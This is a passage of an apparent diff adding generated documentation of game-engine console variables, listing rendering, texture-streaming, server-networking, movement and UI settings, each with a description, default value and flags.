+ssao_exponent + + + +default: `"1.5"` +flags: `0x2` +
+
+ssao_jitter_scale + +in range of [0,1] + +default: `"0.5"` +flags: `0x2` +
+
+ssao_max_res + +SSAO render target size will be enforced to be this size when it's going to be ssao_max_res_threshold or greater + +default: `"1080"` +flags: `0x2` +
+
+ssao_max_res_threshold + +ssao_max_res is enforced when SSAO render target size is at this size or greater + +default: `"1440"` +flags: `0x2` +
+
+ssao_num_directions + + + +default: `"8"` +flags: `0x2` +
+
+ssao_num_steps + + + +default: `"4"` +flags: `0x2` +
+
+ssao_on_everything + + + +default: `"0"` +flags: `0x2` +
+
+ssao_radius + +occlusion hemisphere radius in world space unit + +default: `"118"` +flags: `0x2` +
+
+ssao_radius_in_lobby + +occlusion hemisphere radius in world space unit + +default: `"4"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_snap_uv + + + +default: `"1"` +flags: `0x2` +
+
+ssao_tech + +0 = Off, 1 = HBAO, 2 = GTAO uni, 3 = GTAO cos, 4 = HBAO basic, 5 = HBAO1x1, 6 = GTAOuni1x1, 7 = GTAOcos1x1 + +default: `"2"` +flags: `0x2` +
+
+ssao_tech + +0 = Off, 1 = HBAO, 2 = GTAO uni, 3 = GTAO cos, 4 = HBAO basic, 5 = HBAO1x1, 6 = GTAOuni1x1, 7 = GTAOcos1x1 + +default: `"2"` +flags: `0x2` +
+
+ssao_upsample_ranged + +It improves downsampled SSAO quality. it works for GTAO 4x4 mode only. + +default: `"1"` +flags: `0x2` +
+
+startButtonCommand + +What command to send when start is pressed + +default: `"ingamemenu_activate"` +flags: `0x2` +
+
+staticProp_budget + +The maximum number of static props that will be drawn. + +default: `"8192"` +flags: `0x2` +min value: `100` +max value: `8192` +
+
+staticProp_buildlists_on_worker + + + +default: `"0"` +flags: `0x2` +
+
+staticProp_debug_draw + +Orange - regular culled prop. Red - "do not fade" prop Green - out of range + +default: `"0"` +flags: `0x2` +
+
+staticProp_earlyDepthPrepass + + + +default: `"1"` +flags: `0x2` +
+
+staticProp_gather_size_weight + + + +default: `"5"` +flags: `0x2` +
+
+staticProp_max_scaled_dist + + + +default: `"2500"` +flags: `0x2` +
+
+staticProp_no_fade_scalar + + + +default: `"0.7"` +flags: `0x2` +
+
+staticProp_refineDrawOnWorker + +0 - none, 1 - mainview, 2 - depth-prepass, 3 - mainview & depth-prepass + +default: `"3"` +flags: `0x2` +
+
+static_prop_dist_debug_draw + + + +default: `"0"` +flags: `0x2` +
+
+static_shadow + +0 : off, 1 : generate once, 2 : minimum update with cache, 3 : update dirty rects with cache, 4 : update dirty rects without cache, 5 : always refresh + +default: `"3"` +flags: `0x2` +
+
+static_shadow + +0 : off, 1 : generate once, 2 : minimum update with cache, 3 : update dirty rects with cache, 4 : update dirty rects without cache, 5 : always refresh + +default: `"3"` +flags: `0x2` +
+
+static_shadow_bounds_per_env + +0 - use world min/max, 1 - use current light environment's head box + +default: `"1"` +flags: `0x2` +
+
+static_shadow_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+static_shadow_debug_dirty_rects + +only works with static_shadow_debug_2d = 1 + +default: `"0"` +flags: `0x2` +
+
+static_shadow_depth_bias_scale + +only effective on materials with non-zero shadowBiasStatic values + +default: `"1"` +flags: `0x2` +
+
+static_shadow_expand_z + +z range should be inflated to be able to cover flying objects higher than world min/max + +default: `"30000"` +flags: `0x2` +
+
+static_shadow_good_merge_ratio + +merge ratio = merged extent / bigger one's extent. when merge ratio is less than this value, the pair can be merged even when merged extent > m_StaticShadowMaxExtentForDirtyRect + +default: `"1.01"` +flags: `0x2` +
+
+static_shadow_good_merge_score + +score = merged extent + wasted extent, where 4.0 is full screen + +default: `"0.1"` +flags: `0x2` +
+
+static_shadow_prop_min_size + +Minimum size of prop to be drawn in static shadow + +default: `"40.0"` +flags: `0x2` +
+
+static_shadow_res + +Set the static shadow maps rendertarget resolution + +default: `"4096"` +flags: `0x2` +
+
+static_shadow_shrink_culler + + + +default: `"1"` +flags: `0x2` +
+
+static_shadow_use_d16 + + + +default: `"1"` +flags: `0x2` +
+
+static_shadow_uses_shadow_lod + + + +default: `"1"` +flags: `0x2` +
+
+staticfile_hostname + + + +default: `""` +flags: `0x80000` +
+
+stats_hostname + + + +default: `""` +flags: `0x80000` +
+
+status_effect_warning_level + +Set to 0 for nothing, 1 for warnings, 2 for script errors + +default: `"1"` +flags: `0x2002` +
+
+steam_crossProgression + + + +default: `"0"` +flags: `0x2` +
+
+steam_debug + +Enable Steam HTTP debug logging + +default: `"0"` +flags: `0x2` +
+
+steam_id + + + +default: `""` +flags: `0x12` +
+
+steam_name + + + +default: `""` +flags: `0x12` +
+
+steamlink_hostname + + + +default: `""` +flags: `0x2` +
+
+stream_addnoise + +Adds corruption to streamed-in MIP levels for debugging. + +default: `"0"` +flags: `0x2` +
+
+stream_bsp_bucket_bias + +Tweak MIP of BSP coverage (higher = blurrier mips) + +default: `"-0.5"` +flags: `0x2` +
+
+stream_bsp_dist_scale + +Scale BSP coverage (relative to models) (higher = more important) + +default: `"100"` +flags: `0x2` +
+
+stream_cache_capacity + +Stream Cache Capacity in MiB + +default: `"400"` +flags: `0x2` +
+
+stream_cache_capacity_while_loading + +Stream Cache Capacity in MiB while loading, if < 0 will be ignored. + +default: `"200"` +flags: `0x2` +
+
+stream_cache_high_priority_static_models + +Try never to drop (and always prioritize loading) static model geo. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_multithreaded + +Use jobs to do upload for model geo. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_preload_from_rpak + +0 = Never preload; 1 = Preload static models + +default: `"1"` +flags: `0x2` +
+
+stream_cache_read_buffer_cap + +Concurrent read buffer capacity in MiB. + +default: `"32"` +flags: `0x2` +
+
+stream_cache_read_count_cap + +Concurrent read limit. + +default: `"24"` +flags: `0x2` +
+
+stream_cache_speculative_add_level + +Attempt to add models to reach this fraction of stream_cache_capacity. + +default: `"0.75"` +flags: `0x2` +
+
+stream_cache_speculative_drop + +Attempt to drop models to reach this fraction of stream_cache_capacity. + +default: `"0.9"` +flags: `0x2` +
+
+stream_drop_unused + +Drop unused textures aggressively + +default: `"0"` +flags: `0x2` +
+
+stream_enable + +Enable texture streaming + +default: `"1"` +flags: `0x2` +
+
+stream_freeze_camera + +Freezes camera for purposes of streaming map textures. + +default: `"0"` +flags: `0x2` +
+
+stream_load_after_drop + +Allow us to continue loading in a frame after dropping any textures. + +default: `"0"` +flags: `0x2` +
+
+stream_memory + +Stream memory to target (in kb). + +default: `"300000"` +flags: `0x40000000` +
+
+stream_memory_ignore + +Ignore stream_memory limit when streaming is enabled. + +default: `"0"` +flags: `0x40000002` +
+
+stream_memory_ignore_vram + +Ignore vram size when setting streaming buffer size. + +default: `"0"` +flags: `0x2` +
+
+stream_memory_min + +Minimum streaming memory (in kb). + +default: `"0"` +flags: `0x40000000` +
+
+stream_memory_while_loading + +Stream memory to target (in kb). + +default: `"0"` +flags: `0x2` +
+
+stream_mode + +Stream mode: default all none + +default: `"default"` +flags: `0x40000002` +
+
+stream_never_high_priority_frac + +Never assign 'high priority' to a texture that uses more than this fraction of total streaming buffer. + +default: `"0.0125"` +flags: `0x2` +
+
+stream_overlay + +Texture streaming debug overlay. + +default: `"0"` +flags: `0x2` +
+
+stream_overlay_mode + +Which debug view to show (tex mtl bsp short) + +default: `"short"` +flags: `0x2` +
+
+stream_pause + +Pause texture streaming + +default: `"0"` +flags: `0x2` +
+
+stream_picmip + +Picmip used when stream mode is picmip. (Or the map doesn't have streaming data.) + +default: `"2"` +flags: `0x2` +
+
+stream_resource_max_commits_per_frame + +Cap on number of streaming texture commits allowed in a GPU frame. (0 disables cap) + +default: `"2"` +flags: `0x2` +
+
+stream_resource_thread + +Create resources on separate thread, and delay copy and binding of those resources. + +default: `"1"` +flags: `0x2` +
+
+stream_resource_wait_copy_to_commit + +Number of frames to wait between copying old texture data and actually using a new texture. + +default: `"0"` +flags: `0x2` +
+
+stream_resource_wait_creation_to_copy + +Number of frames to wait between creating a texture and copying old texture data in. + +default: `"0"` +flags: `0x2` +
+
+stream_resource_wait_for_additional_gpus + +Enable to reset the commit counter less frequently when you have multiple GPUs. + +default: `"1"` +flags: `0x2` +
+
+stream_temp_abort_old_inner_loop + +Temp stability - don't check for IST_ABORTED before calling Gfx_TextureAsset_EndAddMipLevels_Failed + +default: `"0"` +flags: `0x2` +
+
+stream_temp_old_abort_all_behavior + +Temp stability - StreamedDataManager_AbortStreamingTexture( true ) has broken (abort just one) behavior. + +default: `"0"` +flags: `0x2` +
+
+stream_temp_skip_abort_all + +Temp stability - call to StreamedDataManager_AbortStreamingTexture( true ) does nothing + +default: `"0"` +flags: `0x2` +
+
+stringtable_alwaysrebuilddictionaries + +Rebuild dictionary file on every level load + + +default: `"0"` +flags: `0x2` +
+
+stringtable_compress + +Compress string table for networking + + +default: `"0"` +flags: `0x2` +
+
+stringtable_showsizes + +Show sizes of string tables when building for signon + + +default: `"0"` +flags: `0x2` +
+
+stryder_forceOriginUsersInvisible + + + +default: `"0"` +flags: `0x2` +
+
+stryder_security + + + +default: `""` +flags: `0x80000200` +
+
+stuck_debugging + +Debug getting stuck + +default: `"0"` +flags: `0x2002` +
+
+stuck_debugging_world_only + +Only check for stuck in world geo + +default: `"0"` +flags: `0x2002` +
+
+studiobonecache_unlimited + + + +default: `"1"` +flags: `0x2002` +
+
+subscription_hostname + + + +default: `""` +flags: `0x2` +
+
+superjump_disabled_from_water + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_drain_power_onfail + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_fail_sound_when_jump_limit + + + +default: `"1"` +flags: `0x2002` +
+
+superjump_limit + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_limitreset_onwallrun + + + +default: `"1"` +flags: `0x2002` +
+
+superjump_max_power_use + + + +default: `"100"` +flags: `0x2002` +
+
+superjump_min_height_fraction + +Minimum fraction of desired superjump height that is acheived, even if already moving quickly upwards + +default: `"0.25"` +flags: `0x2002` +
+
+superjump_min_power_use + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_powerreset_onground + + + +default: `"1"` +flags: `0x2002` +
+
+sv_airaccelerate + + + +default: `"10"` +flags: `0x2002` +
+
+sv_allTicksFinal + + + +default: `"0"` +flags: `0x2` +
+
+sv_allowSendTableTransmitToClients + +Allow transmission of sendtable data to clients. + +default: `"1"` +flags: `0x2` +
+
+sv_allowSpectatorClients + + + +default: `"0"` +flags: `0x2` +
+
+sv_asyncSendSnapshot + + + +default: `"0"` +flags: `0x2` +
+
+sv_backspeed + +How much to slow down backwards motion + +default: `"0.6"` +flags: `0x2002` +
+
+sv_balanceTeams + + + +default: `"1"` +flags: `0x2` +
+
+sv_bounce + +Bounce multiplier for when physically simulated objects collide with other objects. + +default: `"0"` +flags: `0x2002` +
+
+sv_cheats + +Allow cheats on server + +default: `"0"` +flags: `0x82000` +
+
+sv_checkPropBudgets + + + +default: `"1"` +flags: `0x2` +
+
+sv_compressPlaylists + + + +default: `"1"` +flags: `0x2` +
+
+sv_compressTimeValEpsilon + + + +default: `"0.0005"` +flags: `0x2` +
+
+sv_compressTimeVals + + + +default: `"1"` +flags: `0x2` +
+
+sv_connectingClientDelay + +Amount of time to wait between resends of data to a connecting client + +default: `"3"` +flags: `0x2` +
+
+sv_debug_prop_send + + + +default: `"0"` +flags: `0x2` +
+
+sv_debugmanualmode + +Make sure entities correctly report whether or not their network data has changed. + +default: `"0"` +flags: `0x2` +
+
+sv_disconnectOnScriptError + + + +default: `"1"` +flags: `0x2` +
+
+sv_disconnectOnTooManySnapshotFrames + +Disconnect client when the server has sent 128 snapshot messages to client without the server getting any message from the client. + +default: `"1"` +flags: `0x2` +
+
+sv_dumpstringtables + + + +default: `"0"` +flags: `0x4000` +
+
+sv_earlyPersistenceRead + +Should the server try to read persistence earlier in the connection process + + +default: `"0"` +flags: `0x80000` +
+
+sv_everyThirdTick + +Do networking every third tick, regardless of how backed up we are + + +default: `"0"` +flags: `0x2` +
+
+sv_extra_client_connect_time + +Seconds after client connect during which extra frames are buffered to prevent non-delta'd update + +default: `"60.0"` +flags: `0x2` +
+
+sv_fakeClientBaseId + +Base platform user ID for created fake clients. Useful, for example, when running multiple dedis with matchmaking bots; create a different base for each dedi to get unique IDs -- matchmaking uses user IDs as a primary key. + +default: `"9990000"` +flags: `0x26` +
+
+sv_footsteps + +Play footstep sound for players + +default: `"1"` +flags: `0x2002` +
+
+sv_friction + +World friction. (Equivalent player setting is in player settings files) + +default: `"4"` +flags: `0x2002` +
+
+sv_gravity + +World gravity. + +default: `"750"` +flags: `0x2002` +
+
+sv_hibernate_ms + +# of milliseconds to sleep per frame while hibernating + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_ms_vgui + +# of milliseconds to sleep per frame while hibernating but running the vgui dedicated server frontend + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_postgame_delay + +# of seconds to wait after final client leaves before hibernating. + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_when_empty + +Puts the server into extremely low CPU usage mode when no clients connected + +default: `"0"` +flags: `0x2` +
+
+sv_infinite_ammo + + + +default: `"0"` +flags: `0x2002` +
+
+sv_instancebaselines + +Enable instanced baselines. Saves network overhead. + +default: `"1"` +flags: `0x2` +
+
+sv_loadMapModelEarly + + + +default: `"0"` +flags: `0x2` +
+
+sv_lobbyType + + + +default: `"0"` +flags: `0x2002` +
+
+sv_max_prop_data_dwords_lobby + +Maximum amount of prop data per-snapshot in dwords (huge lobby) + +default: `"300000"` +flags: `0x2` +
+
+sv_max_prop_data_dwords_multiplayer + +Maximum amount of prop data per-snapshot in dwords (huge multiplayer) + +default: `"2500000"` +flags: `0x2` +
+
+sv_max_prop_data_dwords_singleplayer + +Maximum amount of prop data per-snapshot in dwords (singleplayer) + +default: `"400000"` +flags: `0x2` +
+
+sv_max_props_lobby + +Maximum amount of props per-snapshot (lobby) + +default: `"250000"` +flags: `0x2` +
+
+sv_max_props_multiplayer + +Maximum number of props per-snapshot (huge multiplayer) + +default: `"1250000"` +flags: `0x2` +
+
+sv_max_props_singleplayer + +Maximum number of props per-snapshot (singleplayer) + +default: `"300000"` +flags: `0x2` +
+
+sv_max_snapshots_lobby + +Maximum number of snapshots for the lobby + +default: `"100"` +flags: `0x2` +
+
+sv_max_snapshots_multiplayer + +Maximum number of snapshots for multiplayer levels + +default: `"160"` +flags: `0x2` +
+
+sv_max_snapshots_singleplayer + +Maximum number of snapshots for singleplayer levels + +default: `"10"` +flags: `0x2` +
+
+sv_maxclientframes + + + +default: `"300"` +flags: `0x2` +
+
+sv_maxrate + +Max bandwidth rate allowed on server, 0 == unlimited + +default: `"0"` +flags: `0x82000` +min value: `0` +max value: `1000000000` +
+
+sv_maxroutable + +Server upper bound on net_maxroutable that a client can use. + +default: `"1200"` +flags: `0x2` +min value: `576` +max value: `1200` +
+
+sv_maxspeed + + + +default: `"320"` +flags: `0x2002` +
+
+sv_maxupdaterate + +Maximum updates per second that the server will allow + +default: `"60"` +flags: `0x2002` +
+
+sv_maxvelocity + +Maximum speed any ballistically moving object is allowed to attain per axis. + +default: `"34000"` +flags: `0x2002` +
+
+sv_minrate + +Min bandwidth rate allowed on server, 0 == unlimited + +default: `"128000"` +flags: `0x82000` +min value: `0` +max value: `1000000000` +
+
+sv_minupdaterate + +Minimum updates per second that the server will allow + +default: `"1"` +flags: `0x2002` +
+
+sv_optimizedmovement + + + +default: `"1"` +flags: `0x2002` +
+
+sv_parallel_sendsnapshot + + + +default: `"1"` +flags: `0x2` +
+
+sv_pausable + +Whether the server is allowed to pause + +default: `"0"` +flags: `0x4000` +
+
+sv_playerNameAppendCheater + + + +default: `"1"` +flags: `0x2` +
+
+sv_players + + + +default: `"1"` +flags: `0x2012` +
+
+sv_printHighWaterMark + + + +default: `"0"` +flags: `0x2` +
+
+sv_pushaway_accel + +How hard physics objects are pushed away from the players. + +default: `"400"` +flags: `0x2002` +
+
+sv_pushaway_clientside + +Clientside physics push away (0=off, 1=only localplayer, 2=all players) + +default: `"2"` +flags: `0x2002` +
+
+sv_pushaway_clientside_size + +Physics props below this size are made client side + +default: `"1000"` +flags: `0x2002` +
+
+sv_pushaway_debug + +Debug physics object pushaway + +default: `"0"` +flags: `0x2002` +
+
+sv_pushaway_dist + +Max distance at which physics objects are pushed from players. + +default: `"15"` +flags: `0x2002` +
+
+sv_pushaway_min_player_speed + +If a player is moving slower than this, don't push away physics objects (enables ducking behind things). + +default: `"75"` +flags: `0x2002` +
+
+sv_pushaway_player_accel + +How hard the player is pushed away from physics objects + +default: `"3000"` +flags: `0x6002` +
+
+sv_pushaway_player_dist + +Max distance at which player is pushed from physics objects + +default: `"5"` +flags: `0x6002` +
+
+sv_rejectClientConnects + + + +default: `"0"` +flags: `0x2` +
+
+sv_rejectConnections + + + +default: `"0"` +flags: `0x2` +
+
+sv_rejectInvalidStryderSecurityToken + + + +default: `"1"` +flags: `0x22` +
+
+sv_requireOriginToken + + + +default: `"1"` +flags: `0x2` +
+
+sv_resendSignonData + + + +default: `"0"` +flags: `0x2` +
+
+sv_rollangle + +Max view roll angle + +default: `"0"` +flags: `0x2002` +
+
+sv_rollspeed + + + +default: `"200"` +flags: `0x2002` +
+
+sv_runSpatialOptimizeInJob + + + +default: `"1"` +flags: `0x2` +
+
+sv_scarySnapDeltaPrints + + + +default: `"50"` +flags: `0x2` +
+
+sv_sendEarlyServerInfo + + + +default: `"0"` +flags: `0x2` +
+
+sv_sendReplayNetMessagesOnNoDeltaSnaps + + + +default: `"0"` +flags: `0x2` +
+
+sv_separate_freq_change_prop_send + + + +default: `"1"` +flags: `0x2` +
+
+sv_showClientTickCmds + + + +default: `"0"` +flags: `0x2` +
+
+sv_showLargeSnapshotSize + + + +default: `"10000"` +flags: `0x2` +
+
+sv_showSnapshots + + + +default: `"0"` +flags: `0x2` +
+
+sv_showUserCmds + + + +default: `"0"` +flags: `0x2` +
+
+sv_single_core_dedi + + + +default: `"0"` +flags: `0x2` +
+
+sv_skipSendingUnnecessaryPersistence + + + +default: `"0"` +flags: `0x2` +
+
+sv_skyname + +Current name of the skybox texture + +default: `""` +flags: `0x2002` +
+
+sv_snapshot_uniform_interval + +A snapshot is created at uniform intervals, rather than according to final_tick + +default: `"1"` +flags: `0x2` +
+
+sv_specaccelerate + + + +default: `"1000.0"` +flags: `0x2080` +
+
+sv_specnoclip + + + +default: `"1"` +flags: `0x2080` +
+
+sv_specspeed + + + +default: `"5.0"` +flags: `0x2080` +
+
+sv_stats + +Collect CPU usage stats + +default: `"1"` +flags: `0x2` +
+
+sv_stopspeed + +Minimum stopping speed when on ground. (Equivalent player setting is in player settings files) + +default: `"100"` +flags: `0x2002` +
+
+sv_stressbots + +If set to 1, the server calculates data and fills packets to bots. Used for perf testing. + +default: `"1"` +flags: `0x2` +
+
+sv_struggleCheck + +How long ago the 20th server frame can have been. 1.0 means the server is running in realtime. Higher means small hitches are ok. + +default: `"1.050"` +flags: `0x2` +
+
+sv_struggleSpam + +How long ago the 20th server frame can have been before it starts yelling. 1.0 means the server is running in realtime. Higher means small hitches are ok. + +default: `"1.4"` +flags: `0x2` +
+
+sv_struggleSpamInterval + + + +default: `"5"` +flags: `0x2` +
+
+sv_tempents_send_from_delta + +Causes snapshot send code to walk back to delta, instead of always sending just current snapshot. + +default: `"0"` +flags: `0x2` +
+
+sv_tempents_send_from_last_sent + +Causes snapshot send code to walk back to last m_lastSnapshotTick, instead of always sending just current snapshot. + +default: `"1"` +flags: `0x2` +
+
+sv_testLargeDatablock + + + +default: `"0"` +flags: `0x2` +
+
+sv_teststepsimulation + + + +default: `"0"` +flags: `0x2002` +
+
+sv_transmitToAllPlayersMask_allBitsSet + +This enables the legacy behavior of setting all bits inside of PerPlayerBitMask when we want to transmit an entities to all clients. This includes setting bits to clients that can't even exist(compare GetMaxClients to ABSOLUTE_PLAYER_LIMIT) + +default: `"0"` +flags: `0x2` +
+
+sv_unnecessaryConnectDelay + +Amount of time to wait before responding to a connecting client (or malicious hacker) + +default: `"60"` +flags: `0x2` +
+
+sv_unreliableSnapMaxSize + +If we're sending a snapshot this size or larger, send it via the datablock sender. If a player has 4% packet loss, 10k of data would have a 40% chance of making it across with no resends + +default: `"10000"` +flags: `0x2` +
+
+sv_updaterate_mp + +Maximum update rate at which server sends packets to clients in MP (updates per-second). + +default: `"20"` +flags: `0x2` +
+
+sv_updaterate_sp + +Maximum update rate at which server sends packets to clients in SP (updates per-second). + +default: `"20"` +flags: `0x2` +
+
+sv_useReputation + + + +default: `"1"` +flags: `0x2` +
+
+sv_useThreadsForSnapshots + + + +default: `"0"` +flags: `0x2` +
+
+sv_voiceEcho + +Server will return a voice chat message back to the sending client. + +default: `"0"` +flags: `0x2` +
+
+sv_voiceenable + + + +default: `"1"` +flags: `0x80080` +
+
+sv_warnAboutCmdNumJumps + + + +default: `"20"` +flags: `0x2` +
+
+sv_watchdogTimer + + + +default: `"20"` +flags: `0x2` +
+
+sv_wateraccelerate + + + +default: `"10"` +flags: `0x2002` +
+
+sv_waterdist + +Vertical view fixup when eyes are near water plane. + +default: `"12"` +flags: `0x2002` +
+
+sv_writePersistenceOnShutdown + + + +default: `"1"` +flags: `0x2` +
+
+sys_attract_mode_timeout + + + +default: `"30"` +flags: `0x2` +
+
+system_alt_f4_closes_window + +If set to true, alt+f4 will close the window + +default: `"1"` +flags: `0x2` +
+
+teams_unassigned_are_friendly + + + +default: `"0"` +flags: `0x2002` +
+
+telemetry_client_debug + + + +default: `"0"` +flags: `0x2` +
+
+telemetry_client_enable + +Enable sending telemetry data + +default: `"1"` +flags: `0x2` +
+
+telemetry_client_sendInterval + +How often to send telemetry data (seconds) + +default: `"10.0"` +flags: `0x2` +
+
+telemetryevent_client_enable + +Enable sending client telemetry events + +default: `"1"` +flags: `0x2` +
+
+tencent_restricted + + + +default: `"0"` +flags: `0x2` +
+
+test_fakeTimeDays + +Days worth of seconds that will be added to the result of GetUnixTimestamp() for script and playlist rotation. Server authoritive. + +default: `"0"` +flags: `0x2002` +
+
+tether_damageScale + +amount that stretching the tether damages it + +default: `"0.00"` +flags: `0x2002` +
+
+tether_dodge_damage + +Damage done to tether by dodging away from it + +default: `"0"` +flags: `0x2002` +
+
+tether_healthDrain + +rate at which tether health drains even if it isn't stretched + +default: `"200"` +flags: `0x2002` +
+
+tether_healthDrainNPC + +rate at which tether health drains even if it isn't stretched (when attached to an NPC) + +default: `"200"` +flags: `0x2002` +
+
+tether_maxvel + +max velocity with which tether pulls you back + +default: `"200"` +flags: `0x2002` +
+
+tether_radius + +radius below which the tether does nothing + +default: `"250"` +flags: `0x2002` +
+
+tether_strength + +strength with which tether pulls back (per unit past the radius) + +default: `"25"` +flags: `0x2002` +
+
+thirdperson_mayamode + +Set to 1 to enable maya-like controls in game (only in third person) [Also don't move the camera when the mouse moves.] + +default: `"0"` +flags: `0x4000` +
+
+thirdperson_override + +Set to -1 to stop overriding. Set to 0 to force first person, 1 to force third person + +default: `"-1"` +flags: `0x4000` +
+
+thirdperson_screenspace + +Movement will be relative to the camera, eg: left means screen-left + +default: `"0"` +flags: `0x2` +
+
+timeout + +Seconds without communication before clients or servers will decide to disconnect. + +default: `"15"` +flags: `0x2` +
+
+timeout_during_load + +Seconds without communication during a level load before clients or servers will decide to disconnect. + +default: `"60"` +flags: `0x2` +
+
+titan_sprint_sound + + + +default: `"titan_eject_servos_3p"` +flags: `0x2` +
+
+toggle_on_jump_to_deactivate + +Toggle or release jump to deactivate the offhand weapon + +default: `"1"` +flags: `0x280` +
+
+tracehull_height_error_check + +Error checking for hull traces requiring extents with larger heights than widths. 0 = none, 1 = warnings, 2 = assert and script errors + +default: `"0"` +flags: `0x2002` +
+
+tracer_debug + + + +default: `"0"` +flags: `0x4000` +
+
+trail_optimizedRemove + + + +default: `"1"` +flags: `0x2` +
+
+traversal_anim + +Enables automantle animation + +default: `"1"` +flags: `0x2002` +
+
+traversal_cooldown + +Minimum time between traversals (in seconds) + +default: `"0.5"` +flags: `0x2002` +
+
+traversal_enable + +Enables player traversals + +default: `"1"` +flags: `0x2002` +
+
+traversal_hand_debug + +Enables debugging of traversal hand positioning + +default: `"0"` +flags: `0x2002` +
+
+traversal_hand_required_width + +Required width of geometry for hands (from center) + +default: `"6"` +flags: `0x2002` +
+
+traversal_viewLerpInDuration + +Duration of view lerp from normal at the start of a traversal + +default: `"0.15"` +flags: `0x2002` +
+
+traversal_viewLerpOut + +Controls whether traversal view position and angle lerp back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_viewLerpOutAngle + +Controls whether traversal view angle lerps back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_viewLerpOutDebug + +Debugs traversal view position lerping + +default: `"0"` +flags: `0x2` +
+
+traversal_viewLerpOutPos + +Controls whether traversal view position lerps back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_window_duration + +Duration of window side traversal animation + +default: `"0.3"` +flags: `0x2002` +
+
+traversal_window_enable + +Enables window traversals + +default: `"1"` +flags: `0x2002` +
+
+traversal_window_finish_angle + +Finishing yaw relative to the window's forward direction when starting at a 90 degree angle + +default: `"45"` +flags: `0x2002` +
+
+traversal_window_forward_offset + +Distance of player through the window after completing window traversal + +default: `"6"` +flags: `0x2002` +
+
+traversal_window_hand_vertical_offset + +Vertical distance from hand position to eye position at start and end of window traversal + +default: `"22"` +flags: `0x2002` +
+
+traversal_window_sideways_offset + +Distance of player from the edge of the window toward the center of the window after completing window traversal + +default: `"18"` +flags: `0x2002` +
+
+traversal_window_view_pitch_max + +Max view pitch when doing window traversal + +default: `"35"` +flags: `0x4000` +
+
+traversal_window_view_pitch_min + +Min view pitch when doing window traversal + +default: `"-80"` +flags: `0x4000` +
+
+traversal_window_yaw_max + +Max view yaw when doing window traversal + +default: `"80"` +flags: `0x4000` +
+
+trigger_crowd_pusher_enabled + +Enables logic for TT_CROWD_PUSHER triggers + +default: `"0"` +flags: `0x2002` +
+
+trigger_ignore_nonsolids + +If set to false, non solid objects will activate triggers. + +default: `"1"` +flags: `0x2002` +
+
+tsaa_blendfactorincreaseatmaxvelocity + + + +default: `"4.0"` +flags: `0x2` +
+
+tsaa_blendfactorincreasewhenunoccluded + + + +default: `"5.0"` +flags: `0x2` +
+
+tsaa_blendfactormaxesoutatvelocity + + + +default: `"0.25"` +flags: `0x2` +
+
+tsaa_blendfactormodulationonsparklesandunocclusion + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_blendfactoroverride + + + +default: `"-1"` +flags: `0x2` +
+
+tsaa_curframeblendamount + + + +default: `"0.05"` +flags: `0x2` +
+
+tsaa_debugresponsiveflag + + + +default: `"0"` +flags: `0x2` +
+
+tsaa_neighborhoodclamping + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_neighborhoodclampingsoftened + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_numsamples + + + +default: `"64"` +flags: `0x2` +
+
+tweak_light_shadows_every_frame + + + +default: `"0"` +flags: `0x2` +
+
+twitch_check_interval + +how often we ask if this user has a linked twitch prime account if we think they don't have one + +default: `"3600"` +flags: `0x2` +
+
+twitch_prime_rewards + + + +default: `""` +flags: `0x210` +
+
+twitch_shouldQuery + +true if we should check to see if this user has a linked twitch prime account + +default: `"1"` +flags: `0x2` +
+
+ui_DpadNavigationDeActive + + + +default: `"1"` +flags: `0x2` +
+
+ui_fadecloud_time + + + +default: `"1.5"` +flags: `0x2` +
+
+ui_fadexui_time + + + +default: `"0.5"` +flags: `0x2` +
+
+ui_gameui_ctrlr_title + + + +default: `"0"` +flags: `0x2` +
+
+ui_gameui_modal + +If set, the game UI pages will take modal input focus. + +default: `"0"` +flags: `0x2` +
+
+ui_loadingscreen_autotransition_time + + + +default: `"5.0"` +flags: `0x2` +
+
+ui_loadingscreen_fadein_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_loadingscreen_fadeout_time + + + +default: `"0.2"` +flags: `0x2` +
+
+ui_loadingscreen_fadeout_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_loadingscreen_mintransition_time + + + +default: `"0.5"` +flags: `0x2` +
+
+ui_loadingscreen_transition_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_lobby_jointimeout + + + +default: `"75"` +flags: `0x2` +
+
+ui_lobby_noautostart + + + +default: `"0"` +flags: `0x2` +
+
+ui_lobby_noresults_create_msg_time + + + +default: `"2.5"` +flags: `0x2` +
+
+ui_posedebug_fade_in_time + +Time during which a new pose activity layer is shown in green in +posedebug UI + +default: `"0.2"` +flags: `0x24000` +
+
+ui_posedebug_fade_out_time + +Time to keep a no longer active pose activity layer in red until removing it from +posedebug UI + +default: `"0.8"` +flags: `0x24000` +
+
+ui_virtualnav_render + + + +default: `"0"` +flags: `0x2` +
+
+unique_entity_names + +Should entities have permanently unique entity names. Or just concurrently unique? + +default: `"0"` +flags: `0x2002` +
+
+usePromptBaseColor + + + +default: `"255 255 255 255"` +flags: `0x2` +
+
+usePromptButtonTextColor + + + +default: `"255 255 255 255"` +flags: `0x2` +
+
+usePromptImageScale + + + +default: `"1.5"` +flags: `0x2` +
+
+usePromptImageYOffset + + + +default: `"0"` +flags: `0x2` +
+
+usePromptTextColor + + + +default: `"220 215 210 255"` +flags: `0x2` +
+
+use_monitors + + + +default: `"1"` +flags: `0x2` +
+
+use_presence_to_refresh_userInfoCache + + + +default: `"1"` +flags: `0x2` +
+
+use_valve_auto_gain + + + +default: `"0"` +flags: `0x2` +
+
